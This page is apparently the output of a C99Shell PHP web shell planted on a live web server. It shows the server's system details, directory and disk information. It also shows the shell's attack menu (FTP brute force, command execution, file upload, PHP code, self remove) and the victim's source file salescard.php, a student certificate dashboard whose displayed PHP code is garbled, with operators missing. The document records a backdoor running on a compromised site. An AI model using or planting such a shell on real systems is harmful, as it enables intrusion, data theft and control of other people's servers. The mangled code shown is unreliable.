!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/admin/   drwxr-xr-x
Free 30.77 GB of 49.93 GB (61.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     salescard.php (1.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include 'connect.php';

// Total students
$total_sql "SELECT COUNT(*) AS total FROM admission";
$total_result mysqli_query($link$total_sql);
$total_row mysqli_fetch_assoc($total_result);
$total_students $total_row['total'];

// Students with certificate
$generated_sql "SELECT COUNT(*) AS generated FROM admission 
                  WHERE enrollment IN (SELECT enrollment FROM certificate)"
;
$generated_result mysqli_query($link$generated_sql);
$generated_row mysqli_fetch_assoc($generated_result);
$generated_students $generated_row['generated'];

// Remaining students
$remaining_students $total_students $generated_students;

mysqli_close($link);
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Student Certificate Report</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
  <style>
    .card {
      border-radius: 15px;
      box-shadow: 0 4px 8px rgba(0,0,0,0.1);
    }
    .card h3 {
      font-size: 2rem;
      font-weight: bold;
    }
  </style>
</head>
<body class="bg-light">

<div class="container py-5">
  <h2 class="text-center mb-4">📊 Certificate Status Report</h2>

  <div class="row g-4">
    <!-- Total Students -->
    <div class="col-md-4">
      <div class="card text-center p-4 bg-primary text-white">
        <h5>Total Students</h5>
        <h3><?php echo $total_students?></h3>
      </div>
    </div>

    <!-- Generated Certificates -->
    <div class="col-md-4">
      <div class="card text-center p-4 bg-success text-white">
        <h5>Certificates Generated</h5>
        <h3><?php echo $generated_students?></h3>
      </div>
    </div>

    <!-- Remaining Students -->
    <div class="col-md-4">
      <div class="card text-center p-4 bg-warning text-dark">
        <h5>Certificates Remaining</h5>
        <h3><?php echo $remaining_students?></h3>
      </div>
    </div>
  </div>
</div>

</body>
</html>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0011 ]--